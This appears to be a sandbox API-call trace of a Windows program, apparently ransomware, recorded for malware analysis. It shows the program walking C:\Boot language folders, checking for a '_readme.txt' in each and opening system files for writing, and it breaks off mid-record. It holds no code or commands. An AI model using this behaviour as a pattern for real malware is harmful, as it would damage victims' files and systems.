[0066.871] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.871] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.871] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.871] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.871] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.871] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.871] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.871] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.871] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.871] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.871] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.871] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.871] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.871] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.871] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.871] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.871] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.871] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.871] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.871] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.871] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.871] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.871] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.871] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.871] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.871] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.871] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.871] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.871] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.871] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.871] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.871] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.872] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.872] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.872] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.872] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.872] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.872] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.872] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.872] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.872] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.872] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.872] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.872] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.872] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.872] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.872] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.872] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.872] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.872] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.872] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.872] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.872] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.872] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.872] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.872] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.872] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.872] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.872] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.872] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.872] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.872] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.872] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.872] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.872] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.872] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.872] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.873] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.873] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.873] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.873] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.873] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.873] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.873] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.873] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.873] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.873] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.873] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.873] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.873] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.873] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.873] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.873] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.873] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.873] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.873] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.873] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.873] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.873] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.873] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.873] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.873] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.873] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.873] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.873] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.873] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.873] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.873] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.873] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.873] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.874] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.874] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.874] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.874] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.874] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.874] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.874] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.874] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.874] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.874] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.874] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.874] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.874] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.874] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.874] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.874] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.874] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.874] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.874] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.874] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.874] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.874] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.874] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.874] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.874] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.874] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.874] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.874] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.874] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.874] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.874] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.874] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.874] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.875] PathFindFileNameW (pszPath="C:\\Boot\\ru-RU\\") returned="ru-RU\\" [0066.875] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.875] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.875] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.875] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.875] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.875] PathFindFileNameW (pszPath="") returned="" [0066.875] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.875] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.875] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.875] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.875] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.875] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x3247f78 [0066.875] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.875] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.875] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.875] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.875] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.875] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.876] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.876] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.876] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.876] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x81c) returned 0x3247f78 [0066.876] PathAppendW (in: pszPath="C:\\Boot\\ru-RU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 1 [0066.876] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.876] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.876] PathFileExistsW (pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 1 [0066.876] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.876] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.876] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3356c90, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3356c90, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.876] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.876] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3356c90, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3356c90, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.876] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.876] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.876] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.876] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.876] PathFindExtensionW (pszPath="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned=".mui" [0066.876] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.876] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.876] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3356c90, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb3356c90, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3356c90, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.876] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.876] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.877] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.877] PathFindExtensionW (pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned=".txt" [0066.877] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.877] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3356c90, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb3356c90, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3356c90, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.877] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.877] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.877] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602d0 | out: hHeap=0x5d0000) returned 1 [0066.877] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.877] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602d0 [0066.877] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.877] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.877] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.877] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.877] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.877] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.877] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.877] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.877] PathFindFileNameW (pszPath="C:\\Boot\\sv-SE\\") returned="sv-SE\\" [0066.877] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.877] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.877] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.877] PathFindFileNameW (pszPath="") returned="" [0066.877] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.877] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.878] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.878] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.878] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.878] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x32476f0 [0066.878] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.878] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.878] PathAppendW (in: pszPath="C:\\Boot\\sv-SE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 1 [0066.878] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.878] PathFileExistsW (pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 1 [0066.878] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb337cdf0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb337cdf0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.878] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb337cdf0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb337cdf0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.879] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, 